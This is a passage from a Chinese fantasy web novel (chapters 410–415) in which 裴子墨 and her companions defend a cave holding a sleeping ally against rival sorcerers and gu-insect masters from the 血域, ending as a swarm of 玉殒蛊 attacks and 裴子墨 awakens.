等着它的术法到了可能会被遁世岛发现的边缘的时候,她也能及时控制。 而且这一下寒羽大概是有事情做了,不会再吵着在圣殿无聊,非要去找左辞了。 之后的几天里面,寒羽和紫翅天鹏都一直重复着这样的事情,寒羽不断地让肉尸们做各种菜,然后把紫翅天鹏叫醒让它吃。 以致于后来紫翅天鹏根本不愿意搭理他,无论如何都叫不醒了。 裴子墨每天也多了点乐趣,就是看着寒羽商量紫翅天鹏吃饭。 正看着的时候,她的眉头轻轻皱起来,往外面看去。 没一会,冷鸢就带着左辞走了上来。 “王妃。”见到裴子墨,左辞赶紧冲了上来,“王妃,我们来投奔你了。” “怎么回事?”裴子墨打量着两个人,见冷鸢跟在一边,脸上有些怨气地盯着左辞,见到她也没说话,心下多少有些明白,估摸着冷鸢还没有搞定左辞,她抿了抿唇,掩去嘴角的笑。 “王爷说他有事要忙,顾不上我们,让我们来找你,说你这里会安全一点。”左辞开口解释。 裴子墨点点头,又问,“他现在在盛京?” “没有,去琼华山了。”左辞也没有隐瞒。 裴子墨垂下眼,琼华山那里过了黄泉路以后,可以隐藏气息,白锦夜去那里,大概率是为了隐藏自己的气息。 他这一次如果跟六长老见过面,六长老也应该会教他些保命的本事。 现在找了一个安全的地方,看样子是去消化这些了。 她勾唇笑了笑,转过身,一边往前走,一边叫冷鸢,“阿鸢,你跟我来。” 左辞本来也要跟上来,但是却被冲上来的寒羽拉住,让他去看紫翅天鹏,还说紫翅天鹏不喜欢肉尸做的饭菜,让左辞去给做一些,看它喜不喜欢吃。 左辞在紫翅天鹏旁边蹲了一会,看着它半响,又转头看向寒羽,“它是一只鸟,它只喜欢吃鱼,它也不一定喜欢吃熟的,你喜欢吃的它不一定喜欢吃,没必要这么勉强它。” “这么好吃,为什么不喜欢吃呢?”寒羽有些不理解。 左辞叹了口气,“它这么困,别影响它睡觉了,走,我去给你做好吃的。” 寒羽又蹲了会,但紫翅天鹏睡得太香,他也不想在这打扰它,况且他最近一直在吃肉尸做的东西,也实在忍不住想吃好吃的,就屁颠屁颠地跟着左辞走了。 看着两个人进了厨房了,裴子墨才拉着冷鸢往前走,“最近怎么样?” “还能怎么样?就跟木头一样,说什么都听不懂,为他好的话也听不懂。”冷鸢忍不住吐槽道,“他不是一直跟着白锦夜么?怎么就那么不开窍?还不如白锦夜。” “怎么,你对白锦夜改观了?”裴子墨笑着看她。 “也没有改观。”冷鸢顿了顿,也还是低声道,“不过这段时间,他好像也做了不少事,说什么为了拖延那些遁世岛的人。” 裴子墨点点头,“我在月城外面见过他了,知道他大概做了些什么。” “好像也是因为这件事,遁世岛的人走的时候,也把他带上了。”冷鸢拧起眉头,“不过后来不知道是什么原因,他又回来了,回来之后就立刻打发我们走。” “嗯,这样也好。”裴子墨笑了笑,六长老大概也是跟他说了些什么,他回来之后,才没想着来找自己,只是让左辞和冷鸢过来,这一次他大概也是要闭关修习了。 冷鸢狐疑地看着她,“圣女,你好像已经知道什么了。” 裴子墨没再继续这个话题,“回来了就好好呆几天吧,圣殿也不一定会一直安全,回头我会让鬼卿帮你和左辞找一处安全的地方,你和左辞出去走一走吧。” “我不走。”冷鸢赶紧摇了摇头,她这一次也知道遁世岛跟裴子墨有矛盾,裴子墨如果有危险,她也不可能离开,“不管发生什么事,我都要在这里陪着你。” “阿鸢,我一直想跟你说这件事。”裴子墨说着推开藏书阁的门,带着冷鸢走到角落坐下。 有些事现在也没必要一直瞒着了,于是也就简单的把能说的事情说了一遍,但既然已经让冷鸢和左辞离开,更深的事情也没必要让他们知道。 “你想想,左辞就是个普通人,那些人就连我都不是对手,我没办法保护你,更没办法保护左辞,你们留下来帮不上忙……” “还会给你拖后腿。”冷鸢开口道。 “我没有认为你们会拖后腿,我只是不希望你们受到伤害。”裴子墨看着她,“阿鸢,这些年,在我身边,因为我受伤、丧命的人太多了,这一次我真的只是想把伤害降到最低。” 冷鸢别开脸没有说话。 裴子墨轻轻叹了一口气,“反正鬼卿要找地方,也需要时间,你可以再考虑考虑。” “不用考虑了。”冷鸢直接道,“我和左辞可以离开,但是我想……我希望我能知道你们的消息,知道你们是不是安全,你和鬼卿对我来说,比什么都重要,我留下来确实可能会拖累你们,而且我若是出了什么事,你们也会很难过,就像……我也同样担心你们一样。” 裴子墨点点头,像是早就猜到了冷鸢的想法,拿出两个已经叠好的符纸,“这里面有我和鬼卿的头发,若是我们出事了,符纸就会自燃。” 冷鸢接过符纸,小心地收好,“那我先出去了,这段时间只有肉尸做饭,今天给你们做顿好吃的。” 第411章 阎公望 圣殿里的人各自忙着各自的事情,两个月后,鬼卿找到了一处相对来说比较安全的地方,具体在哪他没有告知任何人,甚至裴子墨都不知道,随后便送了左辞和冷鸢过去安顿。 左辞无论如何都不肯离开,最后也只能说那处地方是他们日后要隐居的地方,让左辞和冷鸢先过去安顿。左辞有些狐疑,直到裴子墨拉了脸生气了,问他是不是心里根本不承认她这个王妃了,他才只能答应了下来。 但是出发之后,还是怎么都觉得不对劲,先是白锦夜让他们来找裴子墨,说这里安全一点,现在裴子墨又让他们去更安全的地方,就证明圣殿已经不安全了。 “冷鸢,我觉得咱们还是不能走……”左辞的话还没说完,就见冷鸢的手动了动,随后就没了意识。 鬼卿看了一眼左辞,才看向冷鸢,“圣女都跟你说过了?” 冷鸢点点头,“我们现在走,对谁都好。” “只要你安全,我就放心了。”鬼卿说着顿了顿,又补充,“我就能安心的帮着圣女了。” “你一定要保护好她。”冷鸢开口道,“圣殿这些年,只有肉尸,当年若不是圣女开口,圣殿也不可能收留我,我说不定就已经死在哪了,若是有可能,我也希望留下来,就算不能帮什么忙,哪怕帮她挡一下,即便是要了我的命,我也愿意。” 鬼卿点点头。 冷鸢叹了口气,继续道,“你也要照顾好自己,我希望你和圣女都没事。” “放心吧。”鬼卿收回目光,继续往前走。 * 等鬼卿把左辞和冷鸢送到地方后又过了小半年的时间,这段时间,裴子墨一直都在闭关中,她突然结束闭关出来,鬼卿等人便知道要么是她闭关有所成,要么就是出了什么事。 “咱们得再去血域了。”裴子墨看着鬼卿道,“有人正在试图破我的阵法。” 鬼卿有些诧异地看着裴子墨,“这么快就找到了?” 裴子墨拧着眉,她也没想到这么快就会有人找到凌珞的位置,但感觉应该也不是那老和尚,以那老和尚表现出来的能力,破她的术法应该会很快,而不是到现在为止还是“试图”,“希望我们现在去还来得及。” 鬼卿点点头,转头看向寒羽和紫翅天鹏的方向,“若是紫翅天鹏带着我们去,会更快一些。” 裴子墨笑了笑,迈步向寒羽走过去。 几天后,三人一鸟就到了血域北边的山顶。 裴子墨让紫翅天鹏在天上盘旋几圈,他们从上往下看去,下面有几个人,依旧在洞口前面,这么看过去像是在画着什么阵法,估计还是在想办法破阵。 “这几个人看着术法一般。”鬼卿开口道。 裴子墨点点头,指了指旁边的一处空地,“先落在那吧。” 那里比较隐蔽,他们可以先下去看看,这几个人暂时破不开阵法,他们也不用着急,还可以先摸摸底细。 落下来之后,裴子墨眯眼看着他们的手法,轻轻皱了下眉头,转头看向鬼卿,“你看他们的手法一致,应该是同一个门派出来的,这些年,会术法的人基本都在鬼王沙漠以北,但是这手法看着陌生。” 鬼卿点点头,“没见过,确实陌生,感觉不像鬼王沙漠以北的人。” “有点意思。”裴子墨笑了笑,“在鬼王沙漠以南,还有人会术法,并且收了这么多徒弟,一点风声都没有传出来,现在却摸进了鬼王沙漠以北,甚至穿过了血域,找到了这里,这人可不简单。” “但看着他们的术法……”鬼卿拧起眉头,“我感觉他们不像是有这样本事的人。” “就是说,有本事的人还没来。”裴子墨说着原地坐下来,“那咱们就等一等,他们再破不开阵法,就会有人着急了。” 鬼卿也就跟着坐下来。 寒羽和紫翅天鹏没有这样的耐心,等了一会,看着他们无聊的破阵,就跑出去玩了。 裴子墨叮嘱了他们不要闹出什么太大的动静,就没管着他们。 一直到天黑,再到天亮,那些人像是已经尽力了,终于放弃了,在洞口坐了一圈,但也没有人离开,显然是在等人。 果然,快要中午的时候,又有两个人慢悠悠地往山上走。 走到山顶,稍微年轻一点的人挨个踢了那几个人一脚,骂了几句,又恭敬地走到中年人的身后,请他破阵。 那中年人也拉满了架势,往洞口走。 裴子墨看着他,眉头蹙了一下,这个人看着也确实陌生,但是他第一下动手的时候,裴子墨就知道他用不了多久便能破开阵法。 这一点鬼卿也能看出来,他正要去阻拦,却被裴子墨拦住。 “让他破。”裴子墨开口道,“看看他到底是什么来路。” 鬼卿闻言就知道裴子墨有自己的安排,于是也就没有动。 寒羽和紫翅天鹏他们出去玩了好几圈,每次回来都能给裴子墨带回来一点好吃的。 一直到第五天的时候,洞口的阵法终于出现了一丝裂痕。 裴子墨笑了笑,“看起来,这人跟你比还差远了,既然他能破开洞口的阵法,洞口的阵法留着也没用了,回头再重新设置一个阵法就好了。不过以他这手法,肯定是没办法破开石棺周围的阵法的,到时候咱们再过去就来得及。” 又过了两天,阵法终于被破开,人群立刻大声欢呼起来,恭敬地喊着师父术法高强。 裴子墨也就站起身走了过去。 有陌生的人过来,那群人立刻警惕地朝裴子墨看过来。 裴子墨在他们面前停下来,往后面黑漆漆的山洞里看了一眼,“怎么,你们也是来这里……找人的?不知道怎么称呼?” 后上山的年轻人正要说话,却被中年人拦住,他往前走了一步,对着裴子墨拱了拱手,“在下阎公望,姑娘如何称呼?” “阎公望……”裴子墨轻声重复了一遍这个名字,转头看了看鬼卿,鬼卿摇了摇头,意思自己也不认识,“姓阎啊……” 第412章 还是一条死路 阎公望见裴子墨没有自我介绍的想法,脸色微微有些不快,他给了她脸面,可是是她自己不要,那就不能怪他不客气了。 他轻哼了一声,双手背在身后,下巴也微微抬高了几分,“看样子,姑娘也是为了遁世岛任务而来,但这地方是我先找到的,总得有个先来后到吧?” 裴子墨点点头,也后退了一步,抬手往前指了指,“是,那你先请。” 阎公望眯眼看着裴子墨,“怎么,见我们破了阵法,打算拿个现成的?” “不然你让开,让我先来?”裴子墨又道。 “看着他们,别让他们靠近。”阎公望摆了摆手,自己一转身,率先进了洞口。 年轻人带着其他的人拦在了裴子墨和鬼卿的面前,打量他们的目光带着几丝轻蔑,“我劝你们赶紧离开,不然……等我爹忙完了,可就没你们好果子吃了。” “那你是爹?”裴子墨挑了挑眉,“那你叫什么?阎王爷?” “你放老实点,那是我们祖师爷!”年轻人抬手指着裴子墨,不过手刚伸出来,就鬼卿一脚踢在胳膊上。 年轻人踉跄了几步,差点摔倒,“你敢踢我?”他说着往前走了一步,想到了什么,又往后退了退,转头朝着洞里面喊,“爹,爹,他们打我!” “别急,你爹马上就要出来了。”裴子墨看着他笑道。 果然,片刻之后,阎公望就从洞口里倒飞出来,直接压倒了几个徒弟。 年轻人也傻眼了,赶紧跑到阎公望身边,“爹,你没事吧?” 阎公望脸色有点白,忍了半天,还是没忍住,一口血吐了出来。 他赶紧从怀里摸出一瓶药,往嘴里倒了两颗,片刻后,脸上才恢复了些血色,只是还不等他说什么,大家就一起朝路上看去,显然是又有人上山了。 “还真是热闹。”阎公望微微拧起眉,里面的阵法,他甚至都没办法接近,更不用说破阵了,眼见着都到了这,只要破开面前的阵法,就能完成眼前的目标了,可是现在来了一波又一波的人,他这希望是越来越渺茫。 裴子墨转头看了鬼卿一眼,唇角勾起一抹笑,等着来人露出了身影,她这丝笑容也变得更大。 楚星玄气喘吁吁的跑上来,快上来的时候,他就感觉到了裴子墨和鬼卿的气息,没想到这么巧,他刚逃出来,就能碰上他们,“怎么样?”他说着抬手指了指,正要问凌珞醒了么,就看到其他的人,眉头皱了起来,往前走了几步,绕着阎公望转了几圈,突然笑道,“诶呦,这不是……阎叔么?” 阎公望自然也看得出来楚星玄跟裴子墨认识,他皱了皱眉,轻笑了一声,站起身,“诶呦,侄子,你也来……是你爹让你来的?” 楚星玄看了看他,走到裴子墨的身边,才回答道,“我只是在这边转一转,没想到这么巧,碰到你,要是我爹见到你,一定开心死了。”说完才转头看向裴子墨介绍道,“这人原来是我们暗城的人,后来那场大战里面,他就趁乱带着自己的人跑了。” “是么?”裴子墨微微眯了下眼,“你们暗城还有这号人?” 楚星玄点点头。 当着阎公望的面,他没有再说什么,裴子墨也就没有再问。 阎公望眯眼看了楚星玄一会,显然被揭了老底,是一脸的不爽,但是眼下也不想跟楚星玄硬碰硬,摆了摆手,带着其他人就往山下走。 等他们走远了,楚星玄的脸色才变了,急道,“我是逃出来的,那些人现在就在山下,说不定等一会他们商量完了,就会冲上来了。” “那他们下去……”裴子墨转头看了看山下。 “这人不是什么好人。”楚星玄冷笑了一声,“况且,我觉得以他的身份,不见得会知道出鬼王沙漠的路和来血域的捷径。他应该是当年被楚云颂放出去的,估计是让他出去做什么事。如果他死在血域的人手里,也算是除去楚云颂的左膀右臂了。” “算计得挺好。”裴子墨说着拧了下眉,如果一会血域的人冲上来,可就麻烦了,“既然这个阎公望当初是你爹的左膀右臂,那就希望他能多挡一会吧。咱们去山洞里,在门口设个幻阵,血域的人擅长蛊术,术法不见得高,也许能躲一躲。” 三个人进了山洞,时间紧,只能是鬼卿帮忙一起把洞口的幻阵设置好。 裴子墨一边画阵法,一边开口问道,“楚星玄,你那本书看得怎么样了?” “七七八八了,不然我也不能这个时候跑出来。”楚星玄靠在一旁的洞壁上,“书上写的,能找到的蛊,我都见过一遍了,还有一些估计是绝种了,找了也找不到,那些人自己都没有听过,我想着再呆下去也没什么意思了,就谋划着跑了出来。” 裴子墨点点头,“你那笛子呢?” “能简单的吹几个音控制……咳……最小的蛊虫。”楚星玄摸了摸鼻子,转头往石棺那走,“这凌珞也睡了不少日子了,还不醒么?” 裴子墨轻笑了声,“你要是不会吹笛子,我可以教你。” “你会吹笛子?”楚星玄问了句,想起了什么,当初在复州的树林里,裴子墨好像在手里吹过什么,他虽然没看见,但……“你教我……那我不是又要欠你人情了?” 裴子墨没说话,往外看了看,站起身,往后退了几步,“看看他们的术法怎么样吧?” “没想到最后还是得跟血域的人对到一起。”鬼卿也往后退了退,“而且这一次……”他往后看了看,“还是一条死路。” “你能不能不要乌鸦嘴?万一他们发现不了我们不是最好么?”楚星玄开口道,“我可跟你说,血域的人看起来没那么简单,这段时间我对他们多少有些了解,他们术法虽然不高,但是还是有些小窍门。”他说着用手比了比,表示这小窍门确实很小。 他的话音落下,血域的人也到了山顶。 裴子墨他们设置的阵法,是让外人看起来,这里也是山体,跟其他的地方没什么区别。 但血域的人在山上转了一圈,很快就停在了山洞外面,像是发现了这里的异常。 第413章 帮个忙,送他上路 百龄等人在洞口站了一会,便见阎公望从人群里走出来。 “就是这里,这里肯定是山洞,只不过被人施了幻术。”阎公望对着百龄道,“我们看不见他们,但是我们的一举一动啊,他们可都看在眼里呢。” “把阎公望放下山,没想到跟他们搅到一起了。”楚星玄眯起眼睛,“还以为血域的人能解决掉他。” “他能破开之前洞口的阵法,咱们临时设置的幻阵对他来说,用处不大。”裴子墨开口道,“解决掉阎公望问题不大,主要是那些血域的人。” 她也知道,楚星玄如果能有办法对付血域的人,也就不会被他们追杀到这,所以眼下血域的蛊术还是最让他们头疼的。 她转头看了看石棺里的凌珞,轻轻皱了一下眉头,阎公望破不开石棺周围的阵法,血域的人更不可能。 他们若是不想和面前的人交手,逃离这里倒是很简单,可如果不解决面前的人,这山洞的消息就会传出去,这里可能就没有安生的日子了。 “估摸着时间,寒羽也快回来送吃的了。”裴子墨开口道,“到时候你们一起,给我争取点时间。” 鬼卿轻轻皱了下眉头,还不等多问,就见裴子墨走到角落里盘膝坐下。 他转头看向楚星玄。 楚星玄微微抿了下唇,“我逃出来的事,他们肯定已经去通知他们的族长了,时间越久,血域的人可能就会来得越多,眼下只是百龄带着人,之后若是血域的族长带着其他人过来,就更麻烦了。” 鬼卿没说话,只是向外面看去,阎公望已经摩拳擦掌开始破解幻阵了。 没一会,寒羽和紫翅天鹏也出现在不远处的草丛里,显然是他们回来之后没见到他和裴子墨,于是找了出来。 鬼卿勾了勾唇,抬手直接撤了幻阵。 阎公望愣了一下,这幻阵他虽然能破开,但是也要耗费些时间,哪知道才刚动手没多久,幻阵就一下子消失,他自己都吓了一跳,下意识地往后退了几步,片刻后才反应过来,立刻转头朝着百龄道,“这幻阵已经破开了,剩下的事,就靠你们了。” 他没说这幻阵是鬼卿主动撤去的,隐约的就是把功劳揽在自己身上了。 鬼卿也懒得揭穿他,只是对着远处的寒羽和紫翅天鹏招了招手。 寒羽和紫翅天鹏立刻从草丛里跑了出来。 百龄对这几个人都不陌生,见到他们后,当即冷了脸,“哼,亏我们当初那么相信你们,帮你们解了身上的血线虫,你们却如此欺骗我们!” “你把话说清楚,我们可没有欺骗你们,我已经说了,只要有解决幻雾蛊的方法,我一定还会回来的,你们是听不懂人话么?”楚星玄拧着眉,“你把我困在那,行动都受到限制,我有什么办法帮你们解蛊?”他说完就直接看向阎公望,“还有你……要是我爹知道你帮血域的人对付我,我爹不会放过你的。” 阎公望的脸色变了变,随即笑了几声,“侄子,你这话就不对了,这几位也是想要找这个山洞,我只是帮忙带个路,我怎么知道你和他们有仇,又恰好躲在这个山洞呢?”说着他也看向百龄低声道,“人我已经带你找到了,可以放我们走了吧?” 百龄对着他拱了拱手,“暂时还是劳烦你在旁边等一会,等我们解决了他们,会亲自送你们离开的。” 阎公望皱了皱眉,两边都得罪不起,他眼下只能希望他们能斗得两败俱伤,他才好趁乱离开,于是也没再说话,带着自己的人走到了一边。 阎弘站在他身边低声道,“爹,现在怎么办?” 阎公望眯着眼,“楚星玄是城主大人的心尖儿,他失踪了,城主大人一定会找过来的。” “那他要是知道咱们把这些人领过来……会跟咱们算账吧?”阎弘脸色微变。 “这些人不是省油的灯,如果他们把楚星玄解决掉……”阎公望轻笑一声,“城主大人就这么一个儿子,文老二没成亲没孩子,楚星玄要是死了,你就认城主大人做干爹,到时候……”他说着看着阎弘笑了笑,剩下的话没说出来。 阎弘当即也明白了,搓了搓手,“爹,那咱们一会就找准时机……帮个忙,送他上路?” 阎公望轻轻点头。 楚星玄扫了扫走到旁边像是打算置身事外的阎公望,看向百龄,“我劝你们可别相信那种人,不然说不定回头就被咬一口。” “你放心,解决掉你们,也不会放过他们的。”百龄冷笑一声,“这血域很多年都没人来了,以后即便有人来,也不可能再活着走出去。” 楚星玄余光瞥了瞥还是没什么动静的裴子墨,继续废话,“看样子,像是我们耗费了你们对外界最后的信任,以后都打算与世隔绝了。我说你们怎么就不能相信我们一次,这世上但凡有人能解决幻雾蛊,那肯定是我们,只要你们给我们点时间……” “我们没有给你们时间么?如果你们能解决,你们不心虚,你跑什么?”百龄眯起眼打断楚星玄的话,“族长早就怀疑,你跟师祖根本没有关系,把你手上的东西赶紧交出来,我还能让你死的痛快点。” “我跟你们师祖没有关系我会知道那么多幻雾蛊的事?是幻雾蛊自己告诉我的么?”楚星玄摊了摊手,“你们不会就是看上我手上的东西,这是找借口要强抢吧?” 百龄的脸色也有点纠结,若是说楚星玄跟师祖没关系,可他确实知道外人不可能知道的幻雾蛊的事情,但每次他们只要想打探有关师祖的事,楚星玄就打哈哈,所以这件事,其实到现在他们也没有定论。 沉默了会,百龄才道,“要怎么处置你,是族长的事,我会把你们带回去交给他的。” 楚星玄点点头,“行吧,我告诉你,我可不怕你,我之前不跟你们动手,都是看在你们师祖的面子上,但如果你们要对我动手,那我可就不客气了。”他说着从腰间取下笛子,用笛身轻轻地击打掌心。 百龄看着他手里的笛子,之前他也见过楚星玄用笛子控制蛊虫,这也是到现在为止他们还没有对楚星玄用蛊的原因。 楚星玄微微勾了勾唇,他是故意让百龄看到他用笛子控制了一只小小的蛊虫,那是他为数不多能控制的,毕竟百龄他们都知道这笛子的事情,对他们多少是个震慑。 双方正对峙着,又有一个人气喘吁吁的跑上了山,“族长和长老们来了!” 闻言楚星玄狠狠地皱起眉头,来得这么快么? 他转头看向鬼卿,只见鬼卿脸色也凝重起来。 第414章 真是个好天气! 百龄等人也让开了一条路,血域的族长带着三个长老走了上来。 百龄在族长耳边低声说了下刚才的情况。 “还废什么话?先把人抓回去再说!”百炀拧起眉。 百龄瞄了瞄楚星玄手里的笛子,又低声说了几句。 “哼,是么?那就看看他能不能控制我这蛊虫。”百炀说着手一翻,一条通体黑色、后背带着红色花纹的虫子出现在他的手心。 楚星玄一见,眸色一凛,赶紧拉着鬼卿和寒羽他们后退了几步,随即开口道,“百龄,你这不是也骗我了?你还说你不知道‘玉殒蛊’,你们族长手里拿的这是什么?” 百炀手里拿的,正是他在书上看过的玉殒蛊,这蛊虫是在女子身体内养成的,之前他们就知道血域养人蛊,所以就问了百龄见没见过,百龄是一口咬定没有见过,可现在百炀都拿出来了,还敢说没见过么? 百龄咽了口口水,他也只是听说过这种蛊,但是极难养成,许多年未见,他也以为这世上早就没有这种蛊虫了。 况且……想要炼成玉殒蛊,可不是简简单单几个女子就能养成的,现在血域的人本来就少,传宗接代都靠女子,所以基本上已经禁止了用年轻女子养人蛊的事情。 他看着百炀手里的蛊虫,目光有些躲闪,百炀毕竟是族长,他也不好说什么,只能往旁边走了几步,假装自己什么都没看见。 “小心,别让那玉殒蛊碰到。”楚星玄看着鬼卿低声道,“那东西……” 他的话还没说完,就见百炀朝他们一挥手,随即他手里的蛊虫就不见了。 楚星玄当即朝前撒出一把白色的药粉,手腕一转,药粉便把他和鬼卿等人包围了起来,他也施了些术法,这药粉围着他们漂浮在空中,他转头看向紫翅天鹏,虽然不知道这是裴子墨他们从哪弄来的大鸟,看着还挺机灵的,但也还是交代道,“你管好你的翅膀,千万别把这药粉吹走,不然被玉殒蛊碰到,咱们可都没命了。” 紫翅天鹏叽叽喳喳叫了几声,寒羽给它翻译,“它说它知道,它又不傻,而且那虫子看起来就不好吃,它一点兴趣都没有。” 鬼卿警惕地看着周围,顿了顿,突然转头看向角落的裴子墨,那玉殒蛊根本没在他们周围,这一会就在裴子墨的膝盖上,“快想办法!”他说着就要冲过去。 “别动。”楚星玄抓住鬼卿的手腕,“这玉殒蛊看着是一只虫子,如果受惊,就立刻会分解成无数的小虫子,只要有一只小虫子没有解决,就足够要命!”他咬了咬唇,裴子墨坐在山洞的角落里,他还以为其他人不会注意她,没想到这百炀的目标,一开始就是裴子墨,“百炀,把你的玉殒蛊收回去,我们跟你回去就是。” “晚了。”百炀冷笑一声,“上次你们来的时候,我就看得出来,这女子才是你们当中能说话做主的,果然让我猜中了。只要我控制了她,你们是不是跟我回去,已经不重要了。” 鬼卿的手微微握成拳,低声朝楚星玄问道,“这玉殒蛊,他会有很多只么?” “不会。”楚星玄摇了摇头,“我从那书上看到,这东西只能用年轻的女子来养,而且至少也需要几十个女子,若是一次练不成,那就不知道要多少女子的性命。血域现在人少的可怜,他哪来那么多年轻女子来练玉殒蛊,就这一个,都是伤筋动骨了。” “我去解决他,如果他撤回玉殒蛊攻击我,你就赶紧去保护子墨。如果他没有撤回玉殒蛊,我杀了他,这蛊虫没了主子,就没人能控制了吧?”鬼卿眯起眼。 “你干什么?”楚星玄皱起眉头,“就算你是冥尸,也一样抵不过玉殒蛊的侵蚀。” 鬼卿没说话,往前迈了一步,一点点地走出了药粉包围的范围。 他走得很慢,目光也微微瞟着裴子墨的方向,在他走出药粉范围的时候,那玉殒蛊爬动的动作就停了下来,甚至转身看着他的方向。 他轻轻皱了下眉,继续往前,看样子,对方应该确实只有这一只蛊虫,所以多少还是有些顾忌。 百炀大概也看明白了鬼卿的意思,他往后退了几步,三个长老立刻挡在了他的面前。 玉殒蛊也不再看向鬼卿的方向,而是重新转过身,爬上了裴子墨的胳膊。 楚星玄看了看鬼卿,又看了看玉殒蛊,死死地拧起眉。 “你快去帮忙啊。”寒羽推了推楚星玄。 “我帮谁啊?怎么帮啊?”楚星玄转头看向寒羽,“你以为我不想帮么?对付蛊虫是那么容易的事么?” 三个长老见鬼卿走过来,就立刻各自控制各自的蛊虫,顿时便有不少蛊虫出现,朝鬼卿包围过来。 “你去帮裴子墨,我们去帮鬼卿。”寒羽对楚星玄说完,转头看向紫翅天鹏,“那虫子虽然看起来不好吃,但是现在也没别的办法了,你就把它吃了吧。” 鬼卿抽出七杀斩,最近裴子墨在研究那把尺子,就把七杀斩暂时借给他用了,他眯眼看着面前的蛊虫,隔了会目光又重新落在百炀的身上,“如果她因为你的蛊虫出了事,我一定会让你们血域鸡犬不留。” “那就看你有没有这样的本事了。”百炀说完,对着三个长老点了点头。 鬼卿用剑尖在地上一划,一道火焰凭空出现,暂时拦住了蛊虫的路。 他正要再动,目光却突然朝着远处看去,只见远处雾气弥漫,并且在逐渐往山顶蔓延。 不只是他发现了异常,百炀等人很快也发现了。 百龄脸色瞬间惨白,“不是说幻雾蛊不会到这山上来么?怎么……怎么……” “看样子,是你们违反了规矩,来了不该来的地方,这幻雾蛊就跟着你们来了。”鬼卿冷笑一声,抬头看了看天,“真是个好天气。” 之前就说幻雾蛊只会在晴朗的白天出现,所以楚星玄也是故意挑了这样的天气跑出来。 他本来以为自己一直移动,就不会惹来幻雾蛊,只要跑到这山上就安全了,可没想到血域的人一来,幻雾蛊也被吸引过来了! 第415章 你回来了 “族长,怎么办啊?”百龄彻底慌了,楚星玄一直在他们村子里,所以来追的人,也基本上都是他的人,若是他们死在幻雾蛊里面,那他们村子可就基本上没有青壮年了,剩下的人将来的日子要怎么过,可想而知。 他虽然希望抓到楚星玄,希望真的有人能彻底解决幻雾蛊,但是即便是幻雾蛊这么多年没有解决,他们也找到了生存方式,就算生活得艰难一些,可起码一家人都在一起。 他一点都不想因此没了命。 百炀拧着眉,“进山洞。” 他的话音落下,鬼卿捏了个印诀,隔在他们之间的火焰顿时猛涨,形成了一道火墙,“想进山洞?可以,先收起你们的蛊虫。” 百炀转头又看了看幻雾蛊,以它的速度,要不了多久就会到这山顶,他们根本没有时间再争执,于是摆手让长老们收起蛊虫,他自己也伸手一抓,把玉殒蛊抓了回去。 鬼卿这才熄灭了火,和楚星玄等人退到裴子墨的前面,警惕地看着其他人。 那边阎公望也隐隐地感觉不太对劲,跟着一起进了山洞。 三拨人各自找了角落,显然互相谁也不相信。 “那幻雾蛊要是进了山洞怎么办?咱们可就没有退路了。”百龄又问。 百炀拧起眉,“只希望这里光线暗,幻雾蛊不会进来吧。” 这句话说出来,就是拼运气了。 鬼卿也没指望他们,抽出了一张符纸,朝着山洞外面扔了出去。 符纸在空中飞了一阵,落在了地上。 另外两拨人看了看鬼卿,就连楚星玄都轻咳一声,“你别告诉我你那张符纸能拦住幻雾蛊。” 鬼卿没有说话,只是看着山洞外面的幻雾蛊越来越近,眼见着就到了山洞前,天上突然飘来一朵乌云,随即便下起了大雨。 幻雾蛊瞬间就消失得无影无踪了。 “催雨的啊。”楚星玄干笑了几声,“厉害厉害,我真是没想到。” 鬼卿从山洞外收回目光,“这里最近都没有雨,这场雨下来,也下不了多久。” 百炀看着鬼卿,看样子,他们是不得不把这几个人带回去了,如今幻雾蛊都能上了这山,说不定幻雾蛊其他的限制也会消失,他们想要回去就难了。 但如果带上鬼卿,他可以招雨,那就能保证他们安全地回去了。 见百炀低声跟三个长老说话,鬼卿立即在他们的周围划了一圈,圈里燃起了火,阻止蛊虫爬过来。 楚星玄也压低了声音道,“玉殒蛊不怕火,它的身体有点像玉石,和其他的虫子不一样。”他说着脸色也有点尴尬,“本来我那药粉能挡一挡,不过这一路上过来用得太多了,刚才那已经是最后一把了。” 他的话音落下,就见百炀重新放出了玉殒蛊。 那蛊虫不快不慢地朝他们爬过来。 与此同时,外面的雨也停了下来,天上的乌云很快散去。 刚刚一瞬间不知道去了哪的幻雾蛊又突然出现,瞬间涌入了山洞。 “啊!”有人吓得大叫了一声,想要朝山洞里面跑,可是却撞在裴子墨设置在石棺周围的阵法上,一下子被弹飞,直接落进了幻雾蛊的迷雾中。 这一会迷雾还没有那么浓,大家能看清他在迷雾中乱喊乱叫,四处乱撞,跌到了又爬起来,似乎在努力地寻找出路,可也没有人敢上前去拉他一把。 也不知道是不是受了幻雾蛊的刺激,地上的玉殒蛊突然散成了无数只密密麻麻的小虫子。 因为寒羽的缘故,幻雾蛊倒是没有往裴子墨他们这边蔓延,迷雾在慢慢的填满整个山洞,却只是绕开了他们这一小圈。 但玉殒蛊就不一样了,直接爬过了鬼卿的火圈,迅速的朝他们爬过来。 “这么多小虫子,好恶心,好恶心!”寒羽跳起来踩着虫子,可还是有小虫子顺着他的脚爬了上来。 紫翅天鹏试图吃掉一些虫子,但是这虫子太小,它根本没办法往嘴里叼,等有小虫子爬到它的羽毛里之后,它整个鸟都不好了,不停地用嘴啄着身上各处。 好在这会百炀也没心思放在玉殒蛊身上,所以蛊虫也只是爬到他们身上,还没有开始攻击。 百炀已经退到了阵法的边缘,再往后一步,就要被阵法弹飞了。 他转头看向裴子墨他们的方向,却见幻雾蛊绕开了他们,但反观阎公望等人,已经被幻雾蛊包围。 所以显然并不是幻雾蛊只攻击血域的人,而是他们有办法避开幻雾蛊。 他咬了咬牙,既然要死,那大家都一起,于是当即下了指令,让玉殒蛊攻击。 “啊!”寒羽眼睁睁地看着一只小虫子咬破了自己的皮肤,钻了进去,还不等他把这个小虫子抠出来,更多的小虫子都钻进了他的身体里。 玉殒蛊咬不破鬼卿的皮肤,就四处寻找可以钻进去的地方。 楚星玄的脑海里只剩下一个念头——完了,他的手胡乱地挥着,即便知道没用,可还是努力地挣扎着。 片刻后他突然意识到了什么,他的笛子不见了! 一转头,便见笛子不知道什么时候落在了裴子墨的手上,而她也睁开了眼睛。 楚星玄对上了她的目光,只觉得前所未有的陌生,他轻轻皱了下眉头,还不等说什么,身上就传来钻心的疼痛,他一下子倒在地上,跟寒羽一起满地打滚。 鬼卿的手死死地攥着拳头,半跪在地上,努力地想要阻止玉殒蛊往他的身体里钻。 裴子墨伸过手,在鬼卿的脸上抹了一把,他脸上的小虫子就全都掉在了地上。 鬼卿睁开眼,看着裴子墨,感受着她身上的气息,半响才低声道,“你回来了。” 